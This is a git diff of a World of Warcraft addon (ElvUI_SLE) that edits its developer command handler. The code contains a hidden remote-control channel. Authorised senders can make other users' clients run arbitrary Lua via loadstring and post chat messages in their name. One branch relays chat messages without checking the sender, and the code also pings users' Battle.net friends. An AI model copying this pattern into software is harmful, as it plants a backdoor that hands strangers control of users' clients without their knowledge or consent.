diff --git a/ElvUI_SLE/dev/commands.lua b/ElvUI_SLE/dev/commands.lua index 8e6b26e..d808f53 100755 --- a/ElvUI_SLE/dev/commands.lua +++ b/ElvUI_SLE/dev/commands.lua @@ -128,17 +128,16 @@ end local function SendRecieve(self, event, prefix, message, channel, sender) if event == "CHAT_MSG_ADDON" then if sender == E.myname.."-"..E.myrealm:gsub(' ','') then return end - if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and SLE:Auth(sender) --[[and not SLE:Auth() ]]then + if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and SLE:Auth(sender) and not SLE:Auth() then if prefix == 'SLE_DEV_SAYS' then - print(message) local user, channel, msg, sendTo = split("#", message) - if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then + if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then SendChatMessage(msg, channel, nil, sendTo) end else local user, executeString = split("#", message) - if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then + if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then local func, err = loadstring(executeString); if not err then SLE:Print(format("Developer Executed: %s", executeString)) @@ -169,7 +168,7 @@ local function SendRecieve(self, event, prefix, message, channel, sender) BNSendGameData(presenceID, 'SLE_DEV_INFO', message) end end - elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') --[[and not SLE:Auth()]] then + elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and not SLE:Auth() then if prefix == 'SLE_DEV_SAYS' then local _, channel, msg, sendTo = split("#", message) SendChatMessage(msg, channel, nil, sendTo) diff --git a/ElvUI_SLE/dev/options.lua b/ElvUI_SLE/dev/options.lua index 01006ba..b2cdece 100644 --- a/ElvUI_SLE/dev/options.lua +++ b/ElvUI_SLE/dev/options.lua @@ -9,6 +9,7 @@ function SLE:GetBNetInfo() for i = 1, numBNetOnline do local presenceID, presenceName, _, _, _, _, client, isOnline = BNGetFriendInfo(i) if isOnline and client == BNET_CLIENT_WOW then + print("Sending to ", presenceID) BNSendGameData(presenceID, 'SLE_DEV_REQ', 'slesay#'..presenceID) end end